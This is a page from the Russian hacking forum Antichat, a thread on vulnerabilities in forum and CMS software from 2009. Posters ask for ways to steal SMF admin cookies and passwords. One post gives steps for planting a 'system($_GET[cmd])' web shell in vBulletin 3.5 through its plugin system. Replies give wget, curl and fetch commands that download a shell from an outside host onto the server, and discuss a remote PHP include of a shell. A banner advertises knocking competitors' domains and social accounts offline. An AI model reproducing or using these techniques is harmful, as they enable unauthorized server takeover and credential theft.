[Задай Вопрос - Получи Ответ]

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
[Задай Вопрос - Получи Ответ]

Страница 19 из 32

« Первая

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#181

18.03.2009, 09:27

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

С нами: 9846041

Репутация: 1177

Цитата:

Сообщение от FTSE100

А для скули можно как нибудь использывать?
И ещё что это даёт когда знаеш путь к серверу? как это использовать? напиши если не трудно.

Конечно можно! Чтобы залить шелл, надо знать этот самый реальный путь =)

SMF 1.1.5

#182

01.04.2009, 13:26

Theone

Новичок

Регистрация: 16.07.2006

Сообщений: 13

С нами: 10431351

Репутация: 0

SMF 1.1.5

есть ли работающие уязвимости на SMF 1.1.5 позволяющие узнать куки или пароль админа?

#183

02.04.2009, 04:07

superalex

Новичок

Регистрация: 01.04.2009

Сообщений: 1

С нами: 9006036

Репутация: 0

Здравствуйте !!!
Какой на данный момент какой самый безопасный форум ? не важно платный либо бесплатный , желательно также с авто обновлением !!!
что думаете о ipb последней версии?

Последний раз редактировалось superalex; 02.04.2009 в 04:27..

#184

02.04.2009, 09:48

dyx

Познающий

Регистрация: 05.04.2005

Сообщений: 46

С нами: 11104341

Репутация: 1

Цитата:

Способ заливки шелла в vBulletin 3.5.*.
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

Как через этот шел залить файл на сервер???

#185

02.04.2009, 09:54

laedafess

Познающий

Регистрация: 11.02.2009

Сообщений: 98

С нами: 9076508

Репутация: 169

Код:

www.xz.сom/forumpath/faq.php?cmd=wget http://site.com/shell.txt -O shell.php

Код:

www.xz.сom/forumpath/faq.php?cmd=curl http://site.com/shell.txt > shell.php

Код:

www.xz.сom/forumpath/faq.php?cmd=fetch http://site.com/shell.txt -o shell.php

#186

03.04.2009, 08:00

dyx

Познающий

Регистрация: 05.04.2005

Сообщений: 46

С нами: 11104341

Репутация: 1

Цитата:

Сообщение от laedafess

Код:

www.xz.сom/forumpath/faq.php?cmd=wget http://site.com/shell.txt -O shell.php

Код:

www.xz.сom/forumpath/faq.php?cmd=curl http://site.com/shell.txt > shell.php

Код:

www.xz.сom/forumpath/faq.php?cmd=fetch http://site.com/shell.txt -o shell.php

Косяк...

Файл создается на сервере, но пустой, как туда код то запихнуть???

и еще

на сервере включен
allow_url_fopen On On

если это вставить
<? include('http://путь_к_шеллу_.php') ?>

что будет??? как вызвать сам шелл

Последний раз редактировалось dyx; 03.04.2009 в 08:07..